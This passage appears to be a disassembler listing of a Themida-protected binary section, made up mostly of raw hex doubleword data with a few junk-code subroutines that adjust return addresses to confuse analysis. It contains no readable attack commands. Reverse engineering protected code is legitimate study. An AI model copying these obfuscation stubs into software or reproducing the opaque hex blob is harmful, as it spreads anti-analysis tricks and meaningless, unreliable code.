1499B5FFh, 6A0610h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 97CD96C3h dd 1DBD8BCFh, 8906101Fh, 1011458Dh, 32858D06h, 0F506103Ah dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0DE525DC3h, 3D83130Eh, 2D5DB529h, 85890610h dd 6100801h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0CAC35040h, 0BF395B8h, 27B58D8Bh, 85C60610h, 61023E5h dd 6840F77h, 8B000000h, 10163595h, 0A8A36806h, 8B0FF397h dd 2, 0B5FFCB8Bh, 61020E5h, 8DF9BF0Fh, 103A3285h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 840FE257h, 1, 8BD0FFF8h, 100FE595h, 51858906h, 6A061002h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 9F53C357h, 77081090h, 2A058D8Bh, 85C60610h dd 61023E5h, 0FAF66847h, 6A8728h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 2662D2C3h, 0A9302B36h dd 894D599Bh, 10000D95h, 99B5FF06h, 23061014h, 1011A58Dh dd 32858D06h, 8006103Ah, 0D0FF23E2h, 0F4B86660h, 0BF57BB65h dd 89617087h, 10328185h, 85895106h, 6100E69h, 0E585C65Fh dd 43061023h, 20558D29h, 0CD800610h, 6EFC6890h, 5751BC8Eh dd 2215958Bh, 59590610h, 1499B5FFh, 8D8B0610h, 6101395h dd 3A32858Dh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 4BC67FC3h, 0E408279Dh, 0BE99Ah dd 1E100000h, 0C151AB7h, 0B3075985h, 81D0FF84h, 0D7CAE4F1h dd 0F185890Fh, 66061015h, 85C6FA8Bh, 61023E5h, 12E945h dd 1B4D0000h, 8D3F294Fh, 821A320Dh, 0DDB05D52h, 3E37F9A7h dd 72696968h, 99958B8Eh, 0FF061031h, 101499B5h, 8D5EB106h dd 103A3285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 66D0FF27h, 8589FE8Bh, 61009ADh, 137D8531h dd 85C60610h, 61023E5h, 75BD3144h, 66061011h, 68E2DCBAh dd 0B8F2EC64h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 21C35343h, 0E19C0929h, 0C06AF1E5h, 99B5FF06h, 6A061014h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0B6FBC351h, 5B4B4C5h, 0EA819100h, 33DA4B20h dd 3A32858Dh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 11E907C3h, 31000000h, 0D33F409h dd 0A9BCFD88h, 0A8F470AFh, 5B822D09h, 0A2DF8166h, 6AD0FFD2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0AFCC352h, 89D2BF0Fh, 100A7185h, 8D896006h dd 6103349h, 54626CBAh, 85C6614Ch, 61023E5h, 45BD0143h dd 68061023h, 0C0764AA7h, 99B5FFF8h, 0F5061014h, 3A32858Dh dd 8B660610h, 29D0FFD7h, 100A6DBDh, 21858906h, 6A061016h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 1213C357h, 0BD80711Ch, 61305F4h, 0B1840F00h dd 29000000h, 10082995h, 0D6858D06h, 89061305h, 101E319Dh dd 0B5095006h, 6102F7Dh, 6A016Ah, 3341958Bh, 8B500610h dd 1014E595h, 6A5A06h, 0FFFA8B66h, 102EC995h, 659D8906h dd 89061005h, 10308D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0E927E473h, 0F07B549h dd 0FF6ACBB7h, 1ECD8501h, 0B5FF0610h, 610308Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 7BC35646h, 0F9BCAD81h dd 3A336AEh, 1FA58D89h, 95FF0610h, 6100615h, 586EF781h dd 95894EAEh, 6100541h, 0C181C08Bh, 27D17FBDh, 158DBD83h dd 75000610h, 95BD8309h, 61000h, 53501974h, 0D1B8C08Bh dd 89000007h, 100E6585h, 159D8D06h, 0FF0612B8h, 83585BD3h dd 100095BDh, 17740006h, 0D1B85350h, 89000007h, 100E6585h dd 49D8D06h, 0FF0612B5h, 81585BD3h, 18C4A3D7h, 8B53B50Bh dd 6AC08BD7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 2EC8C350h, 0B70F1C20h, 0E585C6C8h dd 47061023h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0AEC35242h, 0F0ADBFCh, 68Ah, 0DD9D8900h, 31061004h dd 1000F9B5h, 0F7C16806h, 11E893C8h, 6000000h, 9A99E8Ch dd 0E6A0B61Ch, 75461E11h, 38396885h, 2A6DBD8Bh, 0FF590610h dd 101499B5h, 0D19D8906h, 8D061006h, 103A3285h, 0F1BD8906h dd 0FF06100Dh, 0CFB70FD0h, 51006A50h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h dd 0D15D0D26h, 0A17858Dh, 85310613h, 6101E6Dh, 9400C7h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 2F3E87C3h, 1709120Eh, 8D8B0C5Ah, 610208Dh dd 11E18D29h, 8B580610h, 102171BDh, 17B58D06h, 0F06130Ah dd 687h, 0C9858900h, 56061030h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 57C35343h, 4841D7B0h, 0E9A324E9h dd 13h, 0DECD67B9h, 362EE697h, 3B114D23h, 146424CCh, 0FF84D877h dd 0D1958BD0h, 8B06100Eh, 10149D95h, 17858D06h, 8906130Ah dd 1009F98Dh, 4788306h, 15850F06h, 8B000000h, 102A19BDh dd 0AB85C706h, 106130Ah, 0BA000000h, 2799B242h, 32BDBD83h dd 0F000610h, 4585h, 0D98D8900h, 83061009h, 130AABBDh dd 850F0006h, 32h, 1CD59D89h, 0BD830610h, 610116Dh, 1F840F00h dd 80000000h, 860F71E6h, 6, 0BB1952Bh, 85C70610h, 610306Dh dd 0 ; --------------------------------------------------------------------------- adc ecx, 1D16500Ch mov bx, ds push 0 push ebx call sub_57CC58 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CC58 proc near ; CODE XREF: Themida_:0057CC50p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_57CC58 endp ; --------------------------------------------------------------------------- dd 51C6BA64h, 38B428BFh, 0F6F55957h, 840F04C3h, 5F9h, 65ABA66h dd 220985C7h, 610h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0B2E6F3C3h, 16280DD3h dd 0BF0F723Ah, 1BD80D7h, 61306h, 1850Fh, 0C6F80000h, 1023E585h dd 95894706h, 61005D1h, 0E45B8668h, 8BF78AE3h, 1029B5BDh dd 99B5FF06h, 89061014h, 10313DBDh, 0D1958B06h, 8D06101Eh dd 103A3285h, 0E5BA6606h, 6AD0FF5Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8701C352h dd 0CA9BD8Bh, 8D8B0610h, 61009DDh, 10468h, 0BF0F5300h dd 9D8D5ACBh, 6103385h, 2359950Bh, 85890610h, 61021C5h dd 0CFB70F53h, 858DD0FFh, 6103385h, 21CDB589h, 50F90610h dd 6830Fh, 8D8B0000h, 6101915h, 5B3858Dh, 13E90613h, 77000000h dd 7399AED2h, 0C808EBF9h, 0BEF60D09h, 4AB7C5Fh, 0F50E406h dd 858DCFB7h, 612FC86h, 0E10EE281h, 6A502D89h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 5159C356h, 25195FFh, 83F80610h, 8D8B0CC4h, 6101B79h dd 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h, 612FC86h dd 0F195FF50h, 89061015h, 13059685h, 0E585C606h, 47061023h dd 0B15E8768h, 99B5FFC7h, 8D061014h, 103A3285h, 6AD0FF06h dd 96B5FF00h, 0FF061305h, 57006AD0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8B3B545Fh dd 8B6660FEh, 61B589CBh, 61061029h, 37D03Dh, 53830F00h dd 0E9000000h, 0Eh, 8326690Ch, 98DFDC66h, 7C1F66C4h, 0B5FFADEBh dd 6130596h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 0DEC35545h, 19D890Dh, 0FF061001h, 10162195h, 89958B06h dd 0E906102Eh, 153h, 295D958Bh, 0B5FF0610h, 6130596h, 12E9h dd 48B4B900h, 0E3DBC3E2h, 70A39D2Fh, 62D9B458h, 0FFCA335Bh dd 10162195h, 0D38B6606h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0CD950AC3h, 68D0F94h dd 60000000h, 61605A57h, 60006A61h, 0E38A57B2h, 0F006A61h dd 0C8Eh, 68D0F00h, 33000000h, 10006195h, 0FC006A06h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 135F7BC3h, 55A28302h, 81663B8Dh, 6ACC74D9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0D4E4C2C7h, 6BB16FB8h, 0EE89F72h, 7000000h, 16F884B3h dd 4676F38Ah, 0A8C2231Dh, 19858937h, 5F06100Bh, 59A858Dh dd 50F90613h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0BAC35040h, 0E9B99998h, 0FF44E0B2h, 1015F195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 9537D659h, 254A6968h, 0C9816692h, 0F8838F44h dd 7C850FFFh, 0F000001h, 68Eh, 499D2900h, 8D06102Eh, 12C0A585h dd 0AE906h, 995E0000h, 75D54383h, 0BA0C54D2h, 6AD0FFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h dword_57D000 dd 190424h, 56460000h, 48B4B9C3h, 6ADBC3E2h, 59B58900h ; DATA XREF: Themida_:0054C91Co dd 6A06100Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0D32AC3E3h, 5D8C5BE5h, 6890F51h dd 0F000000h, 8Ch, 6A5900h, 1C758589h, 6A0610h, 4B2FBF66h dd 8D8B006Ah, 6102E69h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 0FD354C3h, 584h, 0E9816600h dd 858DCB0Fh, 613059Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 58C35242h, 800FA536h, 0 ; --------------------------------------------------------------------------- sbb cl, 1Fh push eax pusha mov [ebp+6101CC9h], ebx popa call dword ptr [ebp+61015F1h] push 0 push ecx call sub_57D0D1 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D0D1 proc near ; CODE XREF: Themida_:0057D0C9p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_57D0D1 endp ; --------------------------------------------------------------------------- sbb [eax], esi mov [ebp+6102FBDh], edx cmp eax, 0FFFFFFFFh jnz loc_57D147 clc lea esi, [ebp+612FFA2h] movsx edi, di lea eax, [ebp+612AB5Eh] push 0 push edx call sub_57D10D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D10D proc near ; CODE XREF: Themida_:0057D105p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_57D10D endp ; --------------------------------------------------------------------------- align 2 test bl, 0B2h mov byte ptr [eax+70h], 0BAh mov dword ptr [ecx], 0B5893893h xor ds:0D0FF0610h, eax mov dx, di push 0 mov ecx, 3DADD6C3h call dword ptr [ebp+61009ADh] mov ecx, [ebp+61016ADh] loc_57D147: ; CODE XREF: Themida_:0057D0ECj mov [ebp+6130596h], eax or [ebp+6102809h], edi push 0 push 0 push ebx call sub_57D160 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D160 proc near ; CODE XREF: Themida_:0057D158p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_57D160 endp ; --------------------------------------------------------------------------- dd 0ADD2643Ah, 165F30Fh, 1005119Dh, 8E858D06h, 0E9061305h dd 12h, 9B9EAED1h, 6DE361D4h, 9240181Dh, 516132EAh, 66506A28h dd 9529D78Bh, 61000D5h, 958B046Ah, 6100461h, 2955858Dh dd 8D030610h, 6102A8Dh, 56006A50h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 5800F8Fh, 0BA000000h dd 64F070A6h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0FF7DE7C3h, 30A050E7h, 8DD8D8Bh dd 6A0610h, 38A0Fh, 0BF0F0000h, 60016ACEh, 0B58BCF8Bh dd 6101E9Dh, 96B5FF61h, 89061305h, 10123DBDh, 7195FF06h dd 0E906100Ah, 10h, 28350AE1h, 7A13F7AEh, 0B8483A24h, 0F4AC5083h dd 1BDBE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 50CD1962h, 17ABAD36h, 8B66841Ch dd 0E9C08BD6h, 7, 77B88C68h, 837EE41Ch, 10158DBDh, 9750006h dd 95BD83h, 74000610h, 8B535019h, 7D2B8C0h, 85890000h dd 6100E65h, 0B8159D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h dd 50177400h, 7D2B853h, 85890000h, 6100E65h, 0B5049D8Dh dd 0D3FF0612h, 0B589585Bh, 6102885h, 3101BD89h, 0C08B0610h dd 0C7CA8B66h, 10220985h, 106h, 0B9BD8B00h, 68061011h dd 0CEE4E7B8h, 2E61B5FFh, 858D0610h, 6103A32h, 8589D0FFh dd 6100D5Dh, 7F2858Dh, 8D500613h, 130AAF85h, 1685006h dd 0FF800000h, 100D5D95h, 75C00B06h, 0FD85C70Ah, 106102Fh dd 68000000h, 0C005DBD4h, 2E61B5FFh, 858D0610h, 6103A32h dd 8589D0FFh, 6101451h, 0FA3F858Dh, 0FF500612h, 101499B5h dd 8595FF06h, 0B06100Dh, 8B0B74C0h, 0F2858DD8h, 50061309h dd 858DD3FFh, 61309F2h, 9388366h, 85C70A75h, 61022E5h dd 1, 328195FFh, 0FF250610h, 83000000h, 0A7305F8h, 1AD985C7h dd 10610h, 0F9560000h, 8D9D895Ah, 80061022h, 130601BDh dd 840F0006h, 11h, 0ABBD83F8h, 6130Ah, 10840Fh, 0B70F0000h dd 1A62E9F9h, 0D18B0000h, 0F59BD89h, 0BD830610h, 61022E5h dd 0FB850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 61FCC351h, 0FD6047Bh dd 0BF66FAB7h, 858D6CAAh, 61305CBh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0C0C35242h, 0CBC26C0Fh, 8B92B60Eh dd 958950D1h, 61006D9h, 6AF9016Ah, 25858900h, 6A06100Fh dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 8F0F22h, 0FF000000h, 102EC995h, 959D0106h dd 8906100Eh, 1305F585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0B88320DBh, 5C0BAE34h dd 13E9C0h, 0DD700000h, 17DC1EE7h, 2732A817h, 0DFF1A057h dd 0CADBBCC7h, 8BFF6A3Dh, 1031C1BDh, 0F5B5FF06h, 66061305h dd 6EC8E181h, 61595FFh, 89600610h, 100A8DBDh, 89BE6606h dd 858D611Ch, 612FA06h, 4840Fh, 0BA660000h, 0E8606A3Eh dd 5, 0DA761F0h, 35BD89D4h, 5B061009h, 6EDBD89h, 50610610h dd 68A0Fh, 9D890000h, 6102119h, 15DD95FFh, 0B9660610h dd 0B70FF011h, 908589D3h, 890612FAh, 102D0D95h, 13858D06h dd 0B20612FAh, 8D335022h, 6101D55h, 0FA90B5FFh, 95290612h dd 61032C5h, 0D8595FFh, 85290610h, 6101F1Dh, 2169BD8Bh dd 85890610h, 61010A9h, 39467DB9h, 81858D2Ch, 500612FAh dd 0F09BD8Bh, 505A0610h, 0FA90B5FFh, 0FFF50612h, 100D8595h dd 1DB58906h, 89061017h, 12FAA485h, 0A58D8B06h, 8D061029h dd 12FA6085h, 0A9BD8B06h, 50061016h, 0F19D2956h, 5F06101Ah dd 0FA90B5FFh, 0EA810612h, 68BE5359h, 8595FFF8h, 0F806100Dh dd 0FA9C8589h, 0DE90612h, 97000000h, 0A9C94280h, 51C64572h dd 8A60FB07h, 20FDBD03h, 858D0610h, 612FA53h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7C35646h, 85B58960h dd 0F061016h, 89h, 0DE96100h, 65000000h, 0F9F901B1h, 0ED7F1A41h dd 9B03F0F2h, 0FD858950h, 0FF061005h, 12FA90B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 6684A114h, 8B66CF8Bh, 0BACEBFCFh, 95FF11F6h, 6100D85h dd 0FAA08589h, 8D8B0612h, 61013E5h, 0FA6E858Dh, 6A0612h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0F544BC3h, 0CA8BD3BFh, 0FFD08B50h, 12FA90B5h, 0FFCF8B06h dd 100D8595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 57657EF5h, 0A244A0Eh, 0A585897Ah dd 0E9061016h, 7, 1DBCB146h, 8D0BD591h, 12FA2285h, 1850F06h dd 0FC000000h, 3FBA6650h, 90B5FFD3h, 660612FAh, 95FFD78Bh dd 6100D85h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0E9C35040h, 0DFDB8F6Eh, 0FA948589h, 9E90612h, 16000000h dd 3971145Eh, 0F268B847h, 12E9h, 69D55F00h, 0F246955Dh dd 0F1C7DA1Bh, 31BC2554h, 8D12D169h, 12FA3185h, 0AE906h dd 7ECC0000h, 0BEA18EFEh, 0B58580D0h, 50CEBF0Fh, 13B59589h dd 0B5FF0610h, 612FA90h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 77C35646h, 0D9C197EFh, 5F8797B5h, 8595FFCFh dd 8B06100Dh, 1000B58Dh, 98858906h, 890612FAh, 1021618Dh dd 0D2B70F06h, 10468h, 28858D00h, 8B0612FBh, 1030FD95h dd 8E806h, 0E0610000h, 940FF883h, 0BD8BFC82h, 61009C9h dd 38B2505Fh, 0FC2C858Dh, 890F0612h, 2, 8950D18Bh, 102E59B5h dd 195FF06h, 6A061008h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 2261C356h, 0F3BFD1ECh dd 8166EB15h, 856C7DC7h, 6850FC0h, 31000000h, 1014259Dh dd 1BD8006h, 61306h, 13850Fh, 85310000h, 6102205h, 15FBE9h dd 0C4F18000h, 0D9E5FDBFh, 0E5BD8353h, 61022h, 74850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 5B91ABC3h, 0FA2B5098h, 13E8FBh, 0B6BF0000h dd 9439751h, 40B3A326h, 33870BE7h, 0C8539E36h, 5FD68B6Ah dd 83FE8B66h, 130AABBDh, 840F0006h, 69h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 63C35040h, 4C4F9870h dd 12D8D89h, 858D0610h, 612FAC5h, 359D8960h, 0E9061033h dd 11h, 325CBDC3h, 0DD0B1593h, 0E9933C0h, 0CC7E2AD4h, 49E96119h dd 50000015h, 0DE9h, 64A17400h, 0E3CC28F3h, 20A917EEh dd 0E95ADA01h, 7, 0B0858DF8h, 500612FAh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 6DC35040h, 0F4466F97h dd 0E8019556h, 11h, 0D00638B7h, 0EC2D7BB8h, 0EF6D95AAh dd 0F29D0C0Dh, 0A1B509C0h, 59061029h, 0FB28858Dh, 0BF660612h dd 8D8BB9E3h, 6102181h, 5E950h, 0EBB80000h, 8377D699h dd 1022E5BDh, 840F0006h, 30h, 2255B501h, 858D0610h dd 612FC4Eh, 678FD781h, 1FE91588h, 0E8000000h, 0Dh, 5D6EC7F1h dd 9EB927F4h, 39A8440Ch, 21BD03F8h, 5A06101Eh, 0FC37858Dh dd 8B500612h, 1030BDBDh, 86858D06h, 6A0612FCh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 6BDEC357h, 3289A5C1h, 0F3E2585Eh, 13359523h, 6A500610h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 330FC355h, 95FF72BEh, 6100251h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0DDC35343h, 63A16D1Fh dd 5A56CF8Bh, 6A10C483h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 5130C355h, 0C08B7AB1h dd 77CA8166h, 8DBD83A9h, 61015h, 0BD830975h, 6100095h dd 50197400h, 0B8C08B53h, 7D3h, 0E658589h, 9D8D0610h, 612B815h dd 585BD3FFh, 95BD83h, 74000610h, 0B8535017h, 7D3h, 0E658589h dd 9D8D0610h, 612B504h, 585BD3FFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 89C35747h, 721313BAh, 5E969h dd 0CDE0000h, 8B5E9104h, 5E9C0h, 0B5760000h, 8115C21Eh dd 12FAB0BDh, 65726F06h, 0AE840F61h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0E618C357h, 28342259h, 0BD0B0C77h, 6102109h, 0FB28858Dh dd 8D500612h, 12FC6585h, 858D5006h, 612FC86h, 5195FF50h dd 83061002h, 85C60CC4h, 61023E5h, 184F6844h, 0B5FF96A3h dd 6101499h, 3A32858Dh, 0D0FF0610h, 858DD88Bh, 612FC86h dd 8DD3FF50h, 12FAB085h, 858D5006h, 612FB28h, 0E5BD8350h dd 61022h, 858D0874h, 612FC4Eh, 858D06EBh, 612FC37h, 86858D50h dd 500612FCh, 25195FFh, 0C4830610h, 0E1B50910h, 89061023h dd 100DF19Dh, 8195FF06h, 8B061032h, 1023F18Dh, 0FF2506h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 464217C3h, 53ED86A1h, 998D2981h, 0E8061011h dd 13h, 7D99336h, 2BADB633h, 0A4B55441h, 4C12631Eh, 0BDEA323h dd 101CDD95h, 0F8835906h, 40830F05h, 31000000h, 10064985h dd 0C787B606h, 101AD985h, 106h, 0CBB96600h, 0BD315282h dd 6103115h, 0E4858D5Ah, 600612FAh, 9953D081h, 9D895955h dd 61023ADh, 79E961h, 0C1800000h, 69958B4Bh, 83061004h dd 1022E5BDh, 840F0006h, 51h, 5E9h, 0E34E4900h, 858DF130h dd 612FB0Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 91C35646h, 0C0C5FA55h, 0F42AF8Bh, 28E9D6BFh, 0E9000000h dd 11h, 39832FA9h, 0D1648F11h, 4A2B4047h, 7AF8285Fh, 0F1858DDBh dd 0B20612FAh, 5E935h, 0C3520000h, 89D5784Bh, 12FB2485h dd 87BA6606h, 0E5BD83ABh, 61022h, 19850Fh, 0BD290000h dd 6102ED9h, 0AABBD83h, 0F000613h, 1184h, 298D2B00h, 0E9061020h dd 1158h, 1315958Bh, 79E90610h, 23000004h, 1030AD95h, 66C08B06h dd 2F56F281h, 8309E980h, 10158DBDh, 9750006h, 95BD83h dd 74000610h, 8B535019h, 7D4B8C0h, 85890000h, 6100E65h dd 0B8159D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h dd 7D4B853h, 85890000h, 6100E65h, 0B5049D8Dh, 0D3FF0612h dd 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 8B6612C3h, 5FC181F8h, 8B25943Eh, 68CE8BC0h dd 0F003Fh, 6D9BD89h, 6A0610h, 8B006AF8h, 0A995FFF8h, 6A061010h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 6DF2C352h, 85951C56h, 31850FC0h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 909AC351h, 8D03D405h, 6102DEDh, 1EE9BD29h dd 0B5890610h, 61001C9h, 0FAA88589h, 6A0612h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0DA82D2C3h dd 69F3D338h, 0BBF9D53h, 101FB9BDh, 29006A06h, 1007218Dh dd 0B1958B06h, 6A061013h, 89950300h, 6A06100Eh, 8B006A00h dd 1009A9BDh, 66006A06h, 8D0549BFh, 12FC8685h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 8837F381h, 11540D27h, 0B5893E1Ch, 6101685h, 0A1958B50h dd 6A061010h, 81958B01h, 6A061000h, 66C78101h, 6A65722Eh dd 0DB03BF01h, 0FF682929h, 66000F01h, 0BD83CA8Bh, 61022E5h dd 66840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0C2DDC357h, 0FB05858Dh dd 0F7810612h, 386454B1h, 41E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 36A8FB0Fh dd 14E9h, 1A101200h, 41811D8h, 0AAE7E91Dh, 1F6016DEh, 0F82598F6h dd 0DB858D51h, 800612FAh, 8950A3C5h, 100975BDh, 6A5006h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BD8B51C3h, 61010FDh, 0FAA8B5FFh, 6A0612h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 57639BC3h dd 1F66D3B9h, 95335A38h, 6100F91h, 68B0Fh, 0E2810000h dd 30082ADBh, 0FA9495FFh, 952B0612h, 61015B5h, 0C840Fh dd 830F0000h, 6, 810Fh, 0C0850000h, 43850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0EA7746C3h, 0E6271B65h, 0F88B4FBEh, 59E9h, 13E900h dd 0FC9C0000h, 79765CA1h, 0BC293AE7h, 0E2044755h, 0DB44DDE7h dd 0AC858972h, 0F90612FAh, 0FAACB5FFh, 14E90612h, 2A000000h dd 841BE467h, 578A9220h, 0F18ECECDh, 0E3C0AD5Dh, 0FF619A42h dd 1016A595h, 758D0906h, 0F906100Ah, 850FC085h, 6, 0C358D8Bh dd 106A0610h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 9C35141h, 9CE11521h, 0C330C181h, 0BD83171Eh, 61022E5h dd 16840F00h, 8D000000h, 12FB0585h, 0E1816606h, 23E9DA47h dd 8B000000h, 1030A595h, 0DB858D06h, 0E80612FAh, 9, 14A014FFh dd 0F6EC19A3h, 2810F1Fh, 60000000h, 6A505A61h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8BDEC357h, 0A8B5FFF9h, 6A0612FAh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 573AC351h dd 0FFD3BF0Fh, 12FAA095h, 39958B06h, 85061029h, 23850FC0h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0A12FC351h, 8198D01h, 85890610h dd 612FAACh, 60CA8166h, 0BF006A24h, 1F3A55F9h, 0B589006Ah dd 61005C5h, 0FAACB5FFh, 0B5890612h, 61030C1h, 0FA9895FFh dd 0C1810612h, 5B91ED6Eh, 850FC085h, 6, 5FDBD89h, 0B5FF0610h dd 612FAACh, 23CD9589h, 95FF0610h, 61016A5h, 11AD958Bh dd 0C0850610h, 6850Fh, 8D8B0000h, 610298Dh, 0BD8B006Ah dd 6102FEDh, 68C8BF0Fh, 80h, 9298D8Bh, 36A0610h, 0E8B9006Ah dd 6A0FDE75h, 0C7816600h, 686444h, 3C00000h, 1009F9BDh dd 8EBF6606h, 24B5FF48h, 310612FBh, 101B9595h, 0F195FF06h dd 6A061015h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 8BD1C357h, 58E0F0Eh, 0BF000000h dd 35FE47D5h, 57AFBF66h, 0FFFF883h, 48285h, 0C99D8900h dd 8906102Fh, 102E01B5h, 9285FF06h, 8B061305h, 10105595h dd 92BD8306h, 2061305h, 389840Fh, 858D0000h, 5B243Bh, 8951D0FFh dd 102DD19Dh, 0AE85F06h, 9D000000h, 52D4A61h, 0F67C1CAFh dd 858D5A6Fh, 5B1E8Eh, 81D0B70Fh, 6DFD82F1h, 6AD0FF61h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 